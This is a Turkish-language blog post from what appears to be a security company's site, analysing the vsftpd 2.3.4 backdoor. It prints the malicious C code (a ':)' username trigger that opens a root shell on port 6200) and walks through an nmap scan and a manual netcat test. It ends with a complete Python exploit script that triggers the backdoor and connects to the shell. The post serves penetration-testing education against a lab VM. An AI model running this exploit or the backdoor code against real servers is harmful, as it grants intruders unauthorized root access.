Address
Aydinlar, Tasli Tepe Cd. No:3 D:2A
13200 Tatvan/Bitlis

VSFTPD Backdoor Analizi ve Exploit Edilişi

Home VSFTPD Backdoor Analizi ve Exploit Edilişi

IT Dünyasında ki Arka Kapılara Merhaba Diyelim !

Selamlar, Vsftpd 2.3.4 Backdoor zafiyetini Metasploit üzerinden kullanmayanımız yoktur. Bir çok Metasploit ve pentest eğitimlerde geçer. Bu yazımızda mevcut backdooru detaylı bir şekilde inceleyip Python ile yeniden exploit kodunu yazıp bu backdoordan yararlanmaya çalışacağız.

VSFTPD isimli yazılımın str.c isimli kaynak dosyasını incelediğimiz zaman aşağıdaki satırlar gözümüze çarpmaktadır.


//str.c
int
str_contains_line(const struct mystr* p_str, const struct mystr* p_line_str)
{
    static struct mystr s_curr_line_str;
    unsigned int pos = 0;
    while (str_getline(p_str, &s_curr_line_str, &pos))
    {
        if (str_equal(&s_curr_line_str, p_line_str))
        {
            return 1;
        }
        else if((p_str->p_buf[i]==0x3a)
        && (p_str->p_buf[i+1]==0x29))
        {
            vsf_sysutil_extra();
        }
    }
    return 0;
}

Satırları incelediğimiz zaman alınan dizenin belli bir if koşulu ile karşılaştırıldığını *p_buf[i]==0x3a && p_buf[i+]==0x29 ise vsf_sysutil_extra() isimli bir fonksiyonu çağırdığını görüyoruz. Burada ki hex 0x3a ':', 0x29 ise ASCII ')' tekabül ediyor yani "\x3a\x29" == ':)' smileyy :)

Aşağıda backdoorun bulunduğu fonksiyonun kodlarını görebilirsiniz. Bu fonksiyon bir socket oluşturarak 6200. port dinleniyor ve gelen bağlantı için execl fonksiyonu ile /bin/sh çağırıp serverda bir bash açıyor.


//sysdeputil.c
int
vsf_sysutil_extra(void)
{
    int fd, rfd;
    struct sockaddr_in sa;
    if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    exit(1); 
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(6200);
    sa.sin_addr.s_addr = INADDR_ANY;
    if((bind(fd,(struct sockaddr *)&sa,
    sizeof(struct sockaddr))) < 0) exit(1);
    if((listen(fd, 100)) == -1) exit(1);
    for(;;)
    { 
        rfd = accept(fd, 0, 0);
        close(0); close(1); close(2);
        dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
        execl("/bin/sh","sh",(char *)0); 
    } 
}

Backdoorun bulunduğu yazılımı aşağıdan source code indirip build ederek veya Metasploitable isimli OS'u direk VMWare yardımıyla çalıştırabilirsiniz.

  • https://github.com/nikdubois/vsftpd-2.3.4-infected
  • https://docs.rapid7.com/metasploit/metasploitable-2/

Herhangi bir sunucuda hangi servislerin çalıştığını tespit etmek için nmap isimli yazılımdan yararlanırız. Pardus üzerinde nmap kurulu olarak gelmemektedir. Aşağıda ki komut ile nmapi kurabilir ve vereceğiniz ip adresi / ip bloklarını taratabilirsiniz. -sV -sT -A parametreleri servislerin makinanın detaylarını getirmek için kullanılmaktadır. Detayları için nmap dökümantasyonunu inceleyebilirsiniz.


cryptex@cryptex:~$ sudo apt install nmap
..
..
cryptex@cryptex:~$ sudo nmap -sV -sT -A 192.168.160.129

Yukarıdaki resimde nmap sonucumuzu görebiliriz. Bu sonuca göre VSFTP'nin TCP 21'den servis edildiğini anlayabiliriz. Gerekli tüm bilgileri edindik. FTP Serverin çalıştığı makinanın IP adresini biliyoruz neler gönderdiğimizde backdoorun aktif olduğu ve hangi porttan çalıştığınıda biliyoruz. Exploitimizi yazmadan önce nc ve ftp client ile bir denememizde fayda var.

Yukarıdaki resimde sol terminalde FTP client ile zafiyetli servera bağlanmaya çalışarak kullanıcı adını cryptex:) ve parolayı rastgele bir şekilde girerek login olduğumuzda kullanıcı adı veya parola hatalı olsa bile smiley (:)) işaretinden dolayı if kontrolümüz backdoor barınan fonksiyonu çalıştırıyor ve 6200'ü dinlemeye başlıyor. Sağdaki terminalde ise nc yardımı ile 6200. porta bağlanarak root olarak bir bash çalıştırmış oluyoruz. Zafiyetimizi anladığımıza göre artık exploitimizi yazabiliriz.

Exploitimizin yapması gereken ftp servera bağlanıp gerekli kullanıcı adı ve parolayı gönderip bir nc bağlantısı başlatmaktır.


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys,socket,os

if len(sys.argv) != 2:
	print("Kullanım: ./exploit.py [İP]")
	sys.exit(0)

ip    = sys.argv[1]
port  = 21
user  = "USER cryptex:)\r\n"
passw = "PASS studio\r\n"

print("[+] Exploiting...")

soket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soket.connect((ip,port))

print(soket.recv(1024).decode())
soket.sendall(user.encode())
soket.recv(1024)
soket.sendall(passw.encode())
soket.recv(1024)
soket.close()

print("[+] nc devreye giriyor")
os.system("nc -nv %s 6200" % ip)

cryptex@cryptex:~$ python3 exploit.py 192.168.160.129

Python exploit kodumuzu çalıştırdığımız zaman aşağıda bulunan resimde ki gibi bir sonuç almamız gerekiyor.

Gördüğünüz gibi exploitimiz başarılı bir şekilde bash açtırmayı başardı.

Unutulmamalıdır ki buradaki bilgilerin tamamı eğitim amaçlıdır.

Lets Get Stared with Us.
Call Us Now!

Toll Free Call. +44 7555 678245